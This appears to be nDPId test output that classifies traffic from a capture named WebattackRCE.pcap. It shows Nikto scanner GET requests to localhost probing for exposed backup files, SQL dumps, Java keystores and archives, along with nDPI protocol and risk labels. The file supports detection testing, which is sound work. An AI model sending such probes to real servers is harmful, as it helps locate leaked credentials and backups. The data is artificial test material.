+00636{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":960346,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI29RAAEAGYFl\/AAABfwAAAcL8H5B21OOLlrDXQ4AYAED+vAAAAQEICp1m\/AidZvwIR0VUIC8xMjdfMF8wXzEudGFyLmd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":186,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1576420276960,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49916,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":187,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1576420276961,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49918,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":961648,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFGIxAAEAGI6V\/AAABfwAAAcL+H5DvJyDTt9IC\/IAYAED+uQAAAQEICp1m\/AmdZvwJR0VUIC8xMjcuMC4wLjEud2FyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":187,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1576420276961,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49918,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":188,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1576420276964,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49920,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":964000,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFxd9AAEAGdlF\/AAABfwAAAcMAH5CFNv2FdhNdEIAYAED+uQAAAQEICp1m\/AudZvwLR0VUIC8xMjcuMC4wLjEud2FyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":188,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1576420276964,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49920,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":189,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1576420276965,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49922,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":965358,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC95pxAAEAGVZx\/AAABfwAAAcMCH5C3Cd7E92VLp4AYAED+sQAAAQEICp1m\/A2dZvwNR0VUIC8xLnRneiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":189,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1576420276965,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49922,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":190,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1576420276966,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49924,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":966758,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9ujdAAEAGggF\/AAABfwAAAcMEH5BKt4Jt+wc3pIAYAED+sQAAAQEICp1m\/A6dZvwOR0VUIC8xLnRneiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":190,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1576420276966,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49924,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":191,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1576420276968,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49926,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":968141,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA8BJAAEAGTCN\/AAABfwAAAcMGH5DhJMhLysCuKoAYAED+tAAAAQEICp1m\/BCdZvwPR0VUIC8xMjcwLmprcyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":191,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1576420276968,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49926,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":192,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1576420276969,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49928,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":969442,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA1ehAAEAGZk1\/AAABfwAAAcMIH5C08u29Z4prKYAYAED+tAAAAQEICp1m\/BGdZvwRR0VUIC8xMjcwLmprcyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":192,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1576420276969,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49928,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":193,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1576420276970,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49930,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":970737,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCS3NAAEAG8MB\/AAABfwAAAcMKH5AxI3MswmM4CYAYAED+tgAAAQEICp1m\/BKdZvwSR0VUIC9iYWNrdXAuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":193,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1576420276970,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49930,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":194,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1576420276972,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49932,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":972200,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCyadAAEAGcox\/AAABfwAAAcMMH5BpA\/H\/vohuZIAYAED+tgAAAQEICp1m\/BSdZvwUR0VUIC9iYWNrdXAuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":194,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1576420276972,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49932,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":195,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1576420276973,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49934,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":973865,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA+8hAAEAGQG1\/AAABfwAAAcMOH5CJ5sOeTDtcfYAYAED+tAAAAQEICp1m\/BWdZvwVR0VUIC9zaXRlLmprcyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":195,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1576420276973,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49934,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":196,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1576420276976,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49936,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":976394,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADABYdAAEAGNq9\/AAABfwAAAcMQH5AThT3a7QA3zYAYAED+tAAAAQEICp1m\/BidZvwYR0VUIC9zaXRlLmprcyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":196,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1576420276976,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49936,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1576420276977,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49938,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":977902,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBYiVAAEAG2g9\/AAABfwAAAcMSH5B68lqAEiH3Y4AYAED+tQAAAQEICp1m\/BmdZvwZR0VUIC8xMjcuMC56aXAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":197,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1576420276977,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49938,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":198,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1576420276980,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49940,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":980536,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBB+JAAEAGNFN\/AAABfwAAAcMUH5Dk6j++IkHQl4AYAED+tQAAAQEICp1m\/BydZvwcR0VUIC8xMjcuMC56aXAgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":198,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1576420276980,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49940,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 